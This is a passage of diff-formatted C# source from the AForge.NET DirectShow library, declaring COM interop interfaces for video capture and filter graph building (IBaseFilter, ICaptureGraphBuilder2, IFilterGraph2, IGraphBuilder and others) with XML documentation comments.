/// Retrieve the number of format capabilities that this pin supports.
/// </summary>
///
/// <param name="count">Variable that receives the number of format capabilities.</param>
/// <param name="size">Variable that receives the size of the configuration structure in bytes.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetNumberOfCapabilities( out int count, out int size );
/// <summary>
/// Retrieve a set of format capabilities.
/// </summary>
///
/// <param name="index">Specifies the format capability to retrieve, indexed from zero.</param>
/// <param name="mediaType">Retrieved media type.</param>
/// <param name="streamConfigCaps">Byte array, which receives information about capabilities.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetStreamCaps(
[In] int index,
[Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType,
[In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps
);
}
}
@@ -0,0 +1,112 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2011
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface controls certain video capture operations such as enumerating available
/// frame rates and image orientation.
/// </summary>
///
[ComImport,
Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IAMVideoControl
{
/// <summary>
/// Retrieves the capabilities of the underlying hardware.
/// </summary>
///
/// <param name="pin">Pin to query capabilities from.</param>
/// <param name="flags">Get capabilities of the specified pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags );
/// <summary>
/// Sets the video control mode of operation.
/// </summary>
///
/// <param name="pin">The pin to set the video control mode on.</param>
/// <param name="mode">Value specifying a combination of the flags to set the video control mode.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode );
/// <summary>
/// Retrieves the video control mode of operation.
/// </summary>
///
/// <param name="pin">The pin to retrieve the video control mode from.</param>
/// <param name="mode">Gets combination of flags, which specify the video control mode.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode );
/// <summary>
/// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units.
/// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested
/// because of bandwidth availability. This is only available during video streaming.
/// </summary>
///
/// <param name="pin">The pin to retrieve the frame rate from.</param>
/// <param name="actualFrameRate">Gets frame rate in frame duration in 100-nanosecond units.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate );
/// <summary>
/// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections
/// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth
/// availability.
/// </summary>
///
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
/// <param name="maxAvailableFrameRate">Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index,
[In] System.Drawing.Size dimensions,
[Out] out long maxAvailableFrameRate );
/// <summary>
/// Retrieves a list of available frame rates.
/// </summary>
///
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
/// <param name="listSize">Number of elements in the list of frame rates.</param>
/// <param name="frameRate">Array of frame rates in 100-nanosecond units.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetFrameRateList( [In] IPin pin, [In] int index,
[In] System.Drawing.Size dimensions,
[Out] out int listSize,
[Out] out IntPtr frameRate );
}
}
@@ -0,0 +1,161 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The IBaseFilter interface provides methods for controlling a filter.
/// All DirectShow filters expose this interface
/// </summary>
///
[ComImport,
Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IBaseFilter
{
// --- IPersist Methods
/// <summary>
/// Returns the class identifier (CLSID) for the component object.
/// </summary>
///
/// <param name="ClassID">Points to the location of the CLSID on return.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetClassID( [Out] out Guid ClassID );
// --- IMediaFilter Methods
/// <summary>
/// Stops the filter.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Stop( );
/// <summary>
/// Pauses the filter.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Pause( );
/// <summary>
/// Runs the filter.
/// </summary>
///
/// <param name="start">Reference time corresponding to stream time 0.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Run( long start );
/// <summary>
/// Retrieves the state of the filter (running, stopped, or paused).
/// </summary>
///
/// <param name="milliSecsTimeout">Time-out interval, in milliseconds.</param>
/// <param name="filterState">Pointer to a variable that receives filter's state.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetState( int milliSecsTimeout, [Out] out int filterState );
/// <summary>
/// Sets the reference clock for the filter or the filter graph.
/// </summary>
///
/// <param name="clock">Pointer to the clock's <b>IReferenceClock</b> interface, or NULL. </param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetSyncSource( [In] IntPtr clock );
/// <summary>
/// Retrieves the current reference clock.
/// </summary>
///
/// <param name="clock">Address of a variable that receives a pointer to the clock's IReferenceClock interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetSyncSource( [Out] out IntPtr clock );
// --- IBaseFilter Methods
/// <summary>
/// Enumerates the pins on this filter.
/// </summary>
///
/// <param name="enumPins">Address of a variable that receives a pointer to the IEnumPins interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EnumPins( [Out] out IEnumPins enumPins );
/// <summary>
/// Retrieves the pin with the specified identifier.
/// </summary>
///
/// <param name="id">Pointer to a constant wide-character string that identifies the pin.</param>
/// <param name="pin">Address of a variable that receives a pointer to the pin's IPin interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin );
/// <summary>
/// Retrieves information about the filter.
/// </summary>
///
/// <param name="filterInfo">Pointer to <b>FilterInfo</b> structure.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryFilterInfo( [Out] out FilterInfo filterInfo );
/// <summary>
/// Notifies the filter that it has joined or left the filter graph.
/// </summary>
///
/// <param name="graph">Pointer to the Filter Graph Manager's <b>IFilterGraph</b> interface, or NULL
/// if the filter is leaving the graph.</param>
/// <param name="name">String that specifies a name for the filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
/// <summary>
/// Retrieves a string containing vendor information.
/// </summary>
///
/// <param name="vendorInfo">Receives a string containing the vendor information.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo );
}
}
@@ -0,0 +1,192 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// This interface builds capture graphs and other custom filter graphs.
/// </summary>
///
[ComImport,
Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface ICaptureGraphBuilder2
{
/// <summary>
/// Specify filter graph for the capture graph builder to use.
/// </summary>
///
/// <param name="graphBuilder">Filter graph's interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetFiltergraph( [In] IGraphBuilder graphBuilder );
/// <summary>
/// Retrieve the filter graph that the builder is using.
/// </summary>
///
/// <param name="graphBuilder">Filter graph's interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetFiltergraph( [Out] out IGraphBuilder graphBuilder );
/// <summary>
/// Create file writing section of the filter graph.
/// </summary>
///
/// <param name="type">GUID that represents either the media subtype of the output or the
/// class identifier (CLSID) of a multiplexer filter or file writer filter.</param>
/// <param name="fileName">Output file name.</param>
/// <param name="baseFilter">Receives the multiplexer's <see cref="IBaseFilter"/> interface.</param>
/// <param name="fileSinkFilter">Receives the file writer's IFileSinkFilter interface. Can be NULL.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetOutputFileName(
[In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
[Out] out IBaseFilter baseFilter,
[Out] out IntPtr fileSinkFilter
);
/// <summary>
/// Searche the graph for a specified interface, starting from a specified filter.
/// </summary>
///
/// <param name="category">GUID that specifies the search criteria.</param>
/// <param name="type">GUID that specifies the major media type of an output pin, or NULL.</param>
/// <param name="baseFilter"><see cref="IBaseFilter"/> interface of the filter. The method begins searching from this filter.</param>
/// <param name="interfaceID">Interface identifier (IID) of the interface to locate.</param>
/// <param name="retInterface">Receives found interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindInterface(
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
[In] IBaseFilter baseFilter,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID ,
[Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface
);
/// <summary>
/// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter.
/// </summary>
///
/// <param name="category">Pin category.</param>
/// <param name="mediaType">Major-type GUID that specifies the media type of the output pin.</param>
/// <param name="source">Starting filter for the connection.</param>
/// <param name="compressor">Interface of an intermediate filter, such as a compression filter. Can be NULL.</param>
/// <param name="renderer">Sink filter, such as a renderer or mux filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RenderStream(
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
[In, MarshalAs( UnmanagedType.IUnknown )] object source,
[In] IBaseFilter compressor,
[In] IBaseFilter renderer
);
/// <summary>
/// Set the start and stop times for one or more streams of captured data.
/// </summary>
///
/// <param name="category">Pin category.</param>
/// <param name="mediaType">Major-type GUID that specifies the media type.</param>
/// <param name="filter"><see cref="IBaseFilter"/> interface that specifies which filter to control.</param>
/// <param name="start">Start time.</param>
/// <param name="stop">Stop time.</param>
/// <param name="startCookie">Value that is sent as the second parameter of the
/// EC_STREAM_CONTROL_STARTED event notification.</param>
/// <param name="stopCookie">Value that is sent as the second parameter of the
/// EC_STREAM_CONTROL_STOPPED event notification.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ControlStream(
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
[In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter,
[In] long start,
[In] long stop,
[In] short startCookie,
[In] short stopCookie
);
/// <summary>
/// Preallocate a capture file to a specified size.
/// </summary>
///
/// <param name="fileName">File name to create or resize.</param>
/// <param name="size">Size of the file to allocate, in bytes.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AllocCapFile(
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
[In] long size
);
/// <summary>
/// Copy the valid media data from a capture file.
/// </summary>
///
/// <param name="oldFileName">Old file name.</param>
/// <param name="newFileName">New file name.</param>
/// <param name="allowEscAbort">Boolean value that specifies whether pressing the ESC key cancels the copy operation.</param>
/// <param name="callback">IAMCopyCaptureFileProgress interface to display progress information, or NULL.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int CopyCaptureFile(
[In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName,
[In, MarshalAs( UnmanagedType.LPWStr )] string newFileName,
[In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort,
[In] IntPtr callback
);
/// <summary>
///
/// </summary>
///
/// <param name="source">Interface on a filter, or to an interface on a pin.</param>
/// <param name="pinDirection">Pin direction (input or output).</param>
/// <param name="category">Pin category.</param>
/// <param name="mediaType">Media type.</param>
/// <param name="unconnected">Boolean value that specifies whether the pin must be unconnected.</param>
/// <param name="index">Zero-based index of the pin to retrieve, from the set of matching pins.</param>
/// <param name="pin">Interface of the matching pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindPin(
[In, MarshalAs( UnmanagedType.IUnknown )] object source,
[In] PinDirection pinDirection,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
[In, MarshalAs( UnmanagedType.Bool )] bool unconnected,
[In] int index,
[Out, MarshalAs( UnmanagedType.Interface )] out IPin pin
);
}
}
@@ -0,0 +1,37 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
/// <summary>
/// The <b>ICreateDevEnum</b> interface creates an enumerator for devices within a particular category,
/// such as video capture devices, audio capture devices, video compressors, and so forth.
/// </summary>
///
[ComImport,
Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface ICreateDevEnum
{
/// <summary>
/// Creates a class enumerator for a specified device category.
/// </summary>
///
/// <param name="type">Specifies the class identifier of the device category.</param>
/// <param name="enumMoniker">Address of a variable that receives an <b>IEnumMoniker</b> interface pointer</param>
/// <param name="flags">Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags );
}
}
@@ -0,0 +1,71 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007-2008
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// This interface is used by applications or other filters to determine
/// what filters exist in the filter graph.
/// </summary>
///
[ComImport,
Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IEnumFilters
{
/// <summary>
/// Retrieves the specified number of filters in the enumeration sequence.
/// </summary>
///
/// <param name="cFilters">Number of filters to retrieve.</param>
/// <param name="filters">Array in which to place <see cref="IBaseFilter"/> interfaces.</param>
/// <param name="filtersFetched">Actual number of filters placed in the array.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Next( [In] int cFilters,
[Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters,
[Out] out int filtersFetched );
/// <summary>
/// Skips a specified number of filters in the enumeration sequence.
/// </summary>
///
/// <param name="cFilters">Number of filters to skip.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Skip( [In] int cFilters );
/// <summary>
/// Resets the enumeration sequence to the beginning.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Reset( );
/// <summary>
/// Makes a copy of the enumerator with the same enumeration state.
/// </summary>
///
/// <param name="enumFilters">Duplicate of the enumerator.</param>
///
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
///
[PreserveSig]
int Clone( [Out] out IEnumFilters enumFilters );
}
}
@@ -0,0 +1,68 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// Enumerates pins on a filter.
/// </summary>
///
[ComImport,
Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IEnumPins
{
/// <summary>
/// Retrieves a specified number of pins.
/// </summary>
///
/// <param name="cPins">Number of pins to retrieve.</param>
/// <param name="pins">Array of size <b>cPins</b> that is filled with <b>IPin</b> pointers.</param>
/// <param name="pinsFetched">Receives the number of pins retrieved.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Next( [In] int cPins,
[Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins,
[Out] out int pinsFetched );
/// <summary>
/// Skips a specified number of pins in the enumeration sequence.
/// </summary>
///
/// <param name="cPins">Number of pins to skip.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Skip( [In] int cPins );
/// <summary>
/// Resets the enumeration sequence to the beginning.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Reset( );
/// <summary>
/// Makes a copy of the enumerator with the same enumeration state.
/// </summary>
///
/// <param name="enumPins">Duplicate of the enumerator.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Clone( [Out] out IEnumPins enumPins );
}
}
@@ -0,0 +1,113 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface provides methods for building a filter graph. An application can use it to add filters to
/// the graph, connect or disconnect filters, remove filters, and perform other basic operations.
/// </summary>
///
[ComImport,
Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IFilterGraph
{
/// <summary>
/// Adds a filter to the graph and gives it a name.
/// </summary>
///
/// <param name="filter">Filter to add to the graph.</param>
/// <param name="name">Name of the filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
/// <summary>
/// Removes a filter from the graph.
/// </summary>
///
/// <param name="filter">Filter to be removed from the graph.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RemoveFilter( [In] IBaseFilter filter );
/// <summary>
/// Provides an enumerator for all filters in the graph.
/// </summary>
///
/// <param name="enumerator">Filter enumerator.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EnumFilters( [Out] out IntPtr enumerator );
/// <summary>
/// Finds a filter that was added with a specified name.
/// </summary>
///
/// <param name="name">Name of filter to search for.</param>
/// <param name="filter">Interface of found filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
/// <summary>
/// Connects two pins directly (without intervening filters).
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
/// <param name="pinIn">Input pin.</param>
/// <param name="mediaType">Media type to use for the connection.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Breaks the existing pin connection and reconnects it to the same pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect and reconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Reconnect( [In] IPin pin );
/// <summary>
/// Disconnects a specified pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Disconnect( [In] IPin pin );
/// <summary>
/// Sets the reference clock to the default clock.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetDefaultSyncSource( );
}
}
@@ -0,0 +1,257 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
/// <summary>
/// This interface extends the <see cref="IFilterGraph"/> and <see cref="IGraphBuilder"/>
/// interfaces, which contain methods for building filter graphs.
/// </summary>
///
[ComImport,
Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface IFilterGraph2
{
// --- IFilterGraph Methods
/// <summary>
/// Adds a filter to the graph and gives it a name.
/// </summary>
///
/// <param name="filter">Filter to add to the graph.</param>
/// <param name="name">Name of the filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
/// <summary>
/// Removes a filter from the graph.
/// </summary>
///
/// <param name="filter">Filter to be removed from the graph.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RemoveFilter( [In] IBaseFilter filter );
/// <summary>
/// Provides an enumerator for all filters in the graph.
/// </summary>
///
/// <param name="enumerator">Filter enumerator.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EnumFilters( [Out] out IEnumFilters enumerator );
/// <summary>
/// Finds a filter that was added with a specified name.
/// </summary>
///
/// <param name="name">Name of filter to search for.</param>
/// <param name="filter">Interface of found filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
/// <summary>
/// Connects two pins directly (without intervening filters).
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
/// <param name="pinIn">Input pin.</param>
/// <param name="mediaType">Media type to use for the connection.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Breaks the existing pin connection and reconnects it to the same pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect and reconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Reconnect( [In] IPin pin );
/// <summary>
/// Disconnects a specified pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Disconnect( [In] IPin pin );
/// <summary>
/// Sets the reference clock to the default clock.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetDefaultSyncSource( );
// --- IGraphBuilder methods
/// <summary>
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
/// <param name="pinIn">Input pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Connect( [In] IPin pinOut, [In] IPin pinIn );
/// <summary>
/// Adds a chain of filters to a specified output pin to render it.
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Render( [In] IPin pinOut );
/// <summary>
/// Builds a filter graph that renders the specified file.
/// </summary>
///
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
/// <param name="playList">Reserved.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RenderFile(
[In, MarshalAs( UnmanagedType.LPWStr )] string file,
[In, MarshalAs( UnmanagedType.LPWStr )] string playList );
/// <summary>
/// Adds a source filter to the filter graph for a specific file.
/// </summary>
///
/// <param name="fileName">Specifies the name of the file to load.</param>
/// <param name="filterName">Specifies a name for the source filter.</param>
/// <param name="filter">Variable that receives the interface of the source filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddSourceFilter(
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
[Out] out IBaseFilter filter );
/// <summary>
/// Sets the file for logging actions taken when attempting to perform an operation.
/// </summary>
///
/// <param name="hFile">Handle to the log file.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetLogFile( IntPtr hFile );
/// <summary>
/// Requests that the graph builder return as soon as possible from its current task.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Abort( );
/// <summary>
/// Queries whether the current operation should continue.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ShouldOperationContinue( );
// --- IFilterGraph2 methods
/// <summary>
///
/// </summary>
///
/// <param name="moniker">Moniker interface.</param>
/// <param name="bindContext">Bind context interface.</param>
/// <param name="filterName">Name for the filter.</param>
/// <param name="filter"> Receives source filter's IBaseFilter interface.
/// The caller must release the interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddSourceFilterForMoniker(
[In] IMoniker moniker,
[In] IBindCtx bindContext,
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
[Out] out IBaseFilter filter
);
/// <summary>
/// Breaks the existing pin connection and reconnects it to the same pin,
/// using a specified media type.
/// </summary>
///
/// <param name="pin">Pin to disconnect and reconnect.</param>
/// <param name="mediaType">Media type to reconnect with.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ReconnectEx(
[In] IPin pin,
[In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType
);
/// <summary>
/// Render an output pin, with an option to use existing renderers only.
/// </summary>
///
/// <param name="outputPin">Interface of the output pin.</param>
/// <param name="flags">Flag that specifies how to render the pin.</param>
/// <param name="context">Reserved.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RenderEx(
[In] IPin outputPin,
[In] int flags,
[In] IntPtr context
);
}
}
@@ -0,0 +1,198 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// This interface provides methods that enable an application to build a filter graph.
/// </summary>
///
[ComImport,
Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IGraphBuilder
{
// --- IFilterGraph Methods
/// <summary>
/// Adds a filter to the graph and gives it a name.
/// </summary>
///
/// <param name="filter">Filter to add to the graph.</param>
/// <param name="name">Name of the filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
/// <summary>
/// Removes a filter from the graph.
/// </summary>
///
/// <param name="filter">Filter to be removed from the graph.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RemoveFilter( [In] IBaseFilter filter );
/// <summary>
/// Provides an enumerator for all filters in the graph.
/// </summary>
///
/// <param name="enumerator">Filter enumerator.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EnumFilters( [Out] out IEnumFilters enumerator );
/// <summary>
/// Finds a filter that was added with a specified name.
/// </summary>
///
/// <param name="name">Name of filter to search for.</param>
/// <param name="filter">Interface of found filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
/// <summary>
/// Connects two pins directly (without intervening filters).
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
/// <param name="pinIn">Input pin.</param>
/// <param name="mediaType">Media type to use for the connection.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
